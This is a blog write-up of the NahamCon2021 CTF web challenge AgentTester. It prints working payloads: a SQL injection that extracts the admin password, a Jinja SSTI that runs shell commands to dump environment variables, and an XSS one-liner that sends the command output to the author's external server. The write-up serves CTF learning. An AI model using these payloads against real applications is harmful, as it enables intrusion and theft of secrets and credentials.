This weekend I have been playing a little bit with some of the challenges of the NathamCon2021 CTF. In the web category, I devoted some time to AgentTester. Even though it was initially tagged as «hard», then it was demoted to medium (surely enough because there was an unintended solution that I also took advantage of 🙂
AgentTester, designed by the great @jorgectf, includes a Dockerfile allowing you to test it using your personal docker container.
First, you’ll need to build an image:
$ docker build -t agent-tester .
Double check that the images has been correctly built:
$ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE agent-tester latest 58a61e41b476 3 minutes ago 1.45GB
And there you go. You can run your own web container, linked to tcp/3000:
Analyzing a little bit the source code of the Flask application, we can see a simple web app with 4 route entries:
@app.route(«/», methods=[«GET»]) for the home
@app.route(«/debug», methods=[«POST»]) for debugging
@app.route(«/profile/<int:user_id>», methods=[«GET», «POST»]) for profile management
@ws.route(«/req») This one sends a WebSocket message and initiates a request
Let’s dig a little bit further:
/ route : it just shows the home page. There we can see a simple input text field and a Submit button. Reading the code it is clear that the user agent typed will be used to query a SQLite database in @ws.route(«/req»):
try:
query = db.session.execute(
"SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'" % uAgent
).fetchone()
uAgent = query["userAgent"]
url = query["url"]
If there is a match, the associated URL will be visited by a headless chrome launched by this line:
subprocess.Popen(["node", "browser/browser.js", url, uAgent])
That SQL query seems injectable, doesn’t it?
What do we have inside that SQLite database?
Oh, a user table, let’s see what’s inside…
And we also have an admin user. Let’s try to extract the password:
‘ union select password,’http://localhost’ from user where username=’admin
Here we go!
Now that we can impersonate the admin, let’s see what do we have in the /debug route:
@app.route("/debug", methods=["POST"])
def debug():
sessionID = session.get("id", None)
if sessionID == 1:
code = request.form.get("code", "<h1>Safe Debug</h1>")
return render_template_string(code)
else:
return "Not allowed."
Oh, admin has an ID=1, so no problem there. And the render_template_string() method seems SSTI injectable. Let’s check it…
Yep! This sentence did the trick:
code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}
And there we have, the CHALLENGE_FLAG is one of the environment variables, so we got the Flag using an unintended solution 🙂 Why is it unintended? Well, remember that we also have this unexplored route:
@app.route("/profile/<int:user_id>", methods=["GET", "POST"]) for profile management
In fact, this profile page is a simple form with two fields, email and about. The later is somewhat special because the author has added a suspicious security related comment near that input text:
<div class="form-group">
<label for="aboutInput">About</label>
<!-- Let users set anything since only them can access their about. -->
<input type="text" class="form-control" name="about" id="aboutInput"
placeholder="A great haxor from <country>" value="{{ user.about|safe }}">
And, as you can see, it is XSS injectable. We can write whatever we want there due to the «|safe» clause.
Well, the AgentTesterv2 (hard web challenge, published after the unintended solution was unveiled) starts from here: the admin password is bcrypted so we can’t crack it. Now what? Well, my idea was the following: use the XSS to inject the following code:
fetch('http://vulnerable:3000/debug', {
method: 'POST', // or 'PUT'
headers: new Headers({
'Content-Type': 'application/x-www-form-urlencoded',
}),
body: "code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}",
})
.then(response => response.text())
.then(data => {
console.log('Success:', data);
resp = data;
})
.catch((error) => {
console.error('Error:', error);
});
Or, more succinctly, this one-liner:
" autofocus onfocus="fetch('http://challenge.nahamcon.com:30711/debug', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'code={{config.__class__.__init__.__globals__[\'os\'].popen(\'env\').read()}} ', }) .then(response => response.text()) .then(data => { console.log('Success:', data); resp = data; new Image().src='http://ikasten.io:3000/?'+resp; })
As you can see, the field will get the (auto)focus and then run the XSS. It basically uses fetch to POST the STTI and exfiltrate the result to my own server (ikasten.io).
Then, my idea was to instruct the headless chrome to visit this XSS profile, as follows:
' union select 'agente','http://challenge.nahamcon.com:30711/profile/2
But, unfortunately there is a flaw in my logic. Why? Well, first, let’s see what user is used to run the headless chrome:
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch(
{ args: [ '--no-sandbox', ] }
);
const page = await browser.newPage();
var url = process.argv[2];
var uAgent = process.argv[3];
var base_url = process.env.BASE_URL;
page.setExtraHTTPHeaders({
'user-agent': uAgent,
})
const cookies = [{
'name': 'auth2',
'value': '<REDACTED>',
'domain': base_url,
'httpOnly': true
}];
The auth2 value of the cookie is set to the admin’s cookie. No problem here! you may think, the admin can access any profile, like the profile/2 URL in our case, can’t it? Well, the truth is that it can’t. In fact, each profile page can only be accessed by their own legitimate user. So user_id=1 can’t access profile/2 or viceversa:
@app.route("/profile/<int:user_id>", methods=["GET", "POST"])
@login_required
def profile(user_id):
if g.user.id == user_id:
And here we are, how to convince the crawler (run as user_id=1) to access a profile for user_id=2 that it is not supposed to be accessible… or how can I update the profile of user_id=1 as a user_id=2? No idea, man, but I’m eager to learn about it 🙂
Update: check the solution written by the author himself, this one by @lanjelot, and this one by @berji